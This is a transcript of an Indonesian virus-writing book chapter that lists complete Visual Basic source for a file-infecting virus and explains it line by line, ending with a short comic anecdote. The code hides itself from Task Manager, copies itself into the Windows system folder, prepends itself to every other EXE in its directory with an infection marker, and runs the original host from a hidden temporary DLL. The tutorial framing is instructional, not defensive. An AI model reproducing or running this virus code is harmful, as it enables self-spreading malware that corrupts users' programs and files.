Kitab sakti virus file

13

Click here to load reader

Transcript of Kitab sakti virus file

Page 1: Kitab sakti virus file

15

Mencermati

Isi Program

Setelah berhasil membuat form, mengetikkan data program, dan membentuk menjadi suatu file source code −sebelum melangkah lebih lanjut− untuk membentuk file tersebut menjadi suatu file EXE maka kita akan menelaah program dan bagian-bagian pembentuknya baris demi baris. (Jika memung-kinkan dan jika saya tahu apa yang harus dijelaskan …☺.)

Program secara global terbagi menjadi beberapa bagian utama, yaitu Deklarasi Data, Form Loading, dan Modul Utama.

2.1 Deklarasi Data Berikut ini penggalan listing programnya berikut keterangannya.

Option Explicit Private victim As String Private myarray As String Private varray As String Private Length As Long Dim chck As String * 1 Const Size As Long = 32768 Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Page 2: Kitab sakti virus file

16

Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long

Jika kita telaah baris demi baris maka…:

* Option Explicit

Perintah ini dipakai agar alur program tidak rancu. Sehingga tidak mengalami bentrok dan masalah pada akhirnya. Salah satu contoh, untuk memakai suatu variabel maka kita harus menyediakannya (membuatnya) terlebih dahulu secara eksplisit, sebelum dapat memakainya.

* Private victim As String

Membuat variabel bernama Victim dengan jenis data string.

* Private myarray As String

Membuat variabel bernama myarray dengan jenis data string.

* Private varray As String

Membuat variabel bernama varray dengan jenis data string.

* Private Length As Long

Membuat variabel bernama Length dengan jenis data string.

* Dim chck As String * 1

Membuat variabel bernama chck dengan jenis data string dengan panjang 1.

* Const Size As Long = 32768

Membuat konstanta bernama Size dengan jenis data long dan mengisinya dengan data 32768.

* Private iResult As Long

Membuat variabel bernama iResult dengan jenis data long.

* Private hProg As Long

Membuat variabel bernama hProg dengan jenis data long.

Page 3: Kitab sakti virus file

17

* Private idProg As Long

Membuat variabel bernama idProg dengan jenis data long.

* Private iExit As Long

Membuat variabel bernama iExit dengan jenis data long.

* Const STILL_ACTIVE As Long = &H103

Membuat konstanta bernama STILL_ACTIVE dengan jenis data long dan mengisinya dengan data &H103.

* Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Membuat konstanta bernama PROCESS_ALL_ACCESS dengan jenis data long dan mengisinya dengan data &H1F0FFF.

* Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long

Mendeklarasikan fungsi API yang bernama OpenProcess. Fungsi ini digunakan untuk membuka objek proses yang ada.

* Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long

Mendeklarasikan fungsi API yang bernama GetExitCodeProcess. Fungsi ini berguna untuk memperoleh kode status penghentian suatu proses.

2.2 Form Loading Bagian form loading ini berguna untuk melakukan inisialisasi awal program. Di sini subrutin yang ada bernama form_load. Petikan listing programnya sebagai berikut:

Private Sub form_load() Me.Visible = False App.TaskVisible = False On Error Resume Next Call main End Sub

Page 4: Kitab sakti virus file

18

Keterangan:

* Private Sub form_load()

Membuat subrutin bernama form_load.

* Me.Visible = False

Membuat form aktif menjadi tidak kelihatan.

* App.TaskVisible = False

Membuat aplikasi aktif virus menjadi tidak kelihatan pada task manager.

* On Error Resume Next

Perintah untuk menangani jika terjadi suatu masalah.

* Call main

Perintah untuk memanggil modul utama virus.

* End Sub

Perintah penutup subrutin.

2.3 Modul Utama Subrutin utama virus yang kita buat, kita beri nama MAIN. Jabarannya sebagai berikut:

Sub main() On Error Resume Next Dim i As Long Dim Free Free = FreeFile Dim target Dim fso, sysfolder, winfolder Set fso = CreateObject("scripting.filesystemobject") Set sysfolder = fso.GetSpecialFolder(1) Set winfolder = fso.GetSpecialFolder(0) FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl" Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free myarray = Space$(Size) Get #1, 1, myarray Close #Free

Page 5: Kitab sakti virus file

19

ChDrive App.Path ChDir App.Path victim = Dir(App.Path & "\" & "*.EXE") While victim <> "" If LCase(App.Path & "\" & App.EXEName & ".exe") _ <> LCase(App.Path & "\" & victim) Then Open victim For Binary Access Read As #Free varray = Space$(LOF(Free)) Get #1, 1, varray Close #Free Open victim For Binary Access Read As #Free Debug.Print varray Seek #1, LOF(Free) chck = Space$(1) Debug.Print varray Get #1, , chck Close #Free If LCase(chck) <> "." Then Open victim For Binary Access Write As #Free Put #Free, 1, myarray Put #Free, Size, varray Put #Free, LOF(Free) + 1, "." Close #Free End If Else End If victim = Dir() Wend Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Length = (LOF(Free) - Size) If Length > 0 Then myarray = Space(Length) Get #Free, Size, myarray Close #Free Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free Put #Free, , myarray Close #Free SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE

Page 6: Kitab sakti virus file

20

DoEvents GetExitCodeProcess hProg, iExit Loop On Error Resume Next SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal Kill App.Path & "\" & App.EXEName & ".dll" Else Close #Free End If End End Sub

Keterangan detailnya adalah:

* Sub main()

Membuat subrutin dengan nama main.

* On Error Resume Next

Perintah untuk mengatasi jika terjadi kesalahan program.

* Dim i As Long

Membuat variabel bernama i dengan jenis data Long.

* Dim Free

Membuat variabel bernama free.

* Free = FreeFile

Mengisi variabel Free dengan jenis data FreeFile.

* Dim target

Membuat variabel bernama target dengan jenis data varian.

* Dim fso, sysfolder, winfolder

Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data varian.

* Set fso = CreateObject("scripting.filesystemobject")

Mengeset variabel fso dengan perintah script object create object.

* Set sysfolder = fso.GetSpecialFolder(1)

Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus system windows.

Page 7: Kitab sakti virus file

21

* Set winfolder = fso.GetSpecialFolder(0)

Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus root windows.

* FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl.

* Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free

Membaca file virus aktif.

* myarray = Space$(Size)

Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam variabel Size (alias ukuran virus).

* Get #1, 1, myarray

Membaca data dan meletakkan di array.

* Close #Free

Menutup file virus.

* ChDrive App.Path

Mengubah drive yang aktif dengan path aplikasi.

* ChDir App.Path

Mengubah directory yang aktif dengan path aplikasi.

* victim = Dir(App.Path & "\" & "*.EXE")

Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif.

* While victim <> ""

Lakukan selama variabel victim tidak sama dengan kosong.

* If LCase(App.Path & "\" & App.EXEName & ".exe") _

<> LCase(App.Path & "\" & victim) Then

Jika file korban tidak sama dengan nama file virus aktif maka…

* Open victim For Binary Access Read As #Free

Buka file exe korban untuk dibaca.

Page 8: Kitab sakti virus file

22

* varray = Space$(LOF(Free))

Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita menyiapkan buffer file.

* Get #1, 1, varray

Baca dan kopi data ke array.

*Close #Free

Tutup file korban.

* Open victim For Binary Access Read As #Free

Buka file korban.

* Seek #1, LOF(Free)

Mengeset buffer untuk file data.

* chck = Space$(1)

Isi variabel chck dengan data spasi sepanjang 1.

* Get #1, , chck

Kopi data variabel chck tersebut ke array.

* Close #Free

Tutup file.

* If LCase(chck) <> "." Then

Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah terinfeksi. Jika tidak maka lanjutkan proses.

* Open victim For Binary Access Write As #Free

Buka file korban untuk ditulisi.

* Put #Free, 1, myarray

Letakkan variabel myarray (file virus) di depan file.

* Put #Free, Size, varray

Lalu diikuti dengan variabel varray (alias data asli file korban).

* Put #Free, LOF(Free) + 1, "."

Lalu diikuti dengan “marker virus” (marker virus yang kita pakai adalah titik!) untuk menandai bahwa file tersebut telah diinfeksi.

Page 9: Kitab sakti virus file

23

* Close #Free

Tutup file.

* End If

Syarat selesai. Pasangan dari If LCase(chck) <> "." Then

* Else

Selain itu… jangan lakukan apa-apa.

* End If

Syarat selesai. Pasangan dari perintah If LCase(App.Path & "\" & App.EXEName & ".exe") <> LCase(App.Path & "\" & victim) Then

* victim = Dir()

Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya yang akan diinfeksi.

* Wend

Lakukan putaran ulang sampai kondisi terpenuhi.

* Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free

Buka file aplikasi untuk dibaca.

* Length = (LOF(Free) - Size)

Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file virus (atau variabel Size).

* If Length > 0 Then

Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi.

* myarray = Space(Length)

Buat buffer dalam variabel myarray untuk menampung data ukuran file asli.

* Get #Free, Size, myarray

Simpan dalam file array.

* Close #Free

Tutup file.

Page 10: Kitab sakti virus file

24

* Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free

Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL.

* Put #Free, , myarray

Letakkan data asli file aplikasi sebagai file temporer.

* Close #Free

Tutup dan bentuk file DLL.

* SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat secara standar.

* idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang telah dibentuk menjadi file *.DLL.

* hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running application code number).

--------------------------------------------------------------------------------------------------

Sekilas info.. ☺. Sintak standar dari perintah OpenProcess adalah:

OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD

dwProcessId)

Parameter dwDesiredAccess berisi akses ke objek proses.

Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika FALSE, handle tidak dapat inherited.

Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka.

Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika gagal, nilainya adalah NULL. Loh… tapi ini ngomong-ngomong sekilas info

Page 11: Kitab sakti virus file

25

apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan bahwa perintah OpenProcess adalah salah satu perintah API (Application Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya dipakai dalam pemrograman tingkat lanjut.

--------------------------------------------------------------------------------------------------

* GetExitCodeProcess hProg, iExit

Ambil data kode penghentian proses.

--------------------------------------------------------------------------------------------------

Sekilas info lagi... ☺. Sintak standar dari perintah GetExitCodeProcess adalah:

GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode)

Parameter hProcess mewakili Handle process. Handle ini haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION.

lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian proses (process termination status).

Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya adalah nol.

--------------------------------------------------------------------------------------------------

* Do While iExit = STILL_ACTIVE

Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program virus akan “tidur sementara” dan menjalankan program asli. Saat program asli selesai dijalankan, kendali akan diambil alih lagi oleh virus.

* DoEvents

Lakukan event.

* GetExitCodeProcess hProg, iExit

Ambil data exit code terkini.

Page 12: Kitab sakti virus file

26

* Loop

Lakukan putaran sampai syarat event terpenuhi.

* On Error Resume Next

Jika terjadi masalah, lanjutkan pada proses selanjutnya.

* SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal

Ubah data aplikasi DLL dengan atribut Normal.

* Kill App.Path & "\" & App.EXEName & ".dll"

Hapus file DLL temporer tersebut.

* Else

Selain itu…

* Close #Free

Tutup file.

* End If

Syarat selesai.

* End

Program virus dihentikan.

* End Sub

Subrutin modul utama selesai.

Maka selesai pulalah (sementara) kegilaan kita! hehehe … ☺ Jika masih bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan semakin paham dan…. Tambah gila tentu saja.

--------------------------------------------------------------------------------------------------

Flash Back: Anti Sosial 1

Jarang sekali Kyai Kebal Wirang mengajak muridnya yang masih balita pergi berinteraksi sosial. Karena takut menjadi anti-sosial sejati, maka hari itu diajaknya Megatruh kecil pergi jalan-jalan. Megatruh begitu gembira dan tak bosan-

bosannya ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar meladeninya dengan menjawab semua pertanyaan sang murid.

Page 13: Kitab sakti virus file

27

Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya berpegangan kencang pada baju sang kyai.

Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: “ada apa, kamu kok … kebingungan seperti itu?”

Megatruh memandang wajah sang kyai dengan ragu. “Kyai tidak marah kalau saya bertanya?”

“Tentu saja tidak,“ jawab sang kyai singkat.

Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil me-nunjuk kepada seorang lelaki yang duduk di depan mereka: “Ini lho… kyai… saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah ya?”

Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama, ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah kakinya.

Dengan nyengir dan muka merah padam, sang Kyai berkata “mas supir… kiri mas. Kita mau turun” … ☺

--------------------------------------------------------------------------------------------------

***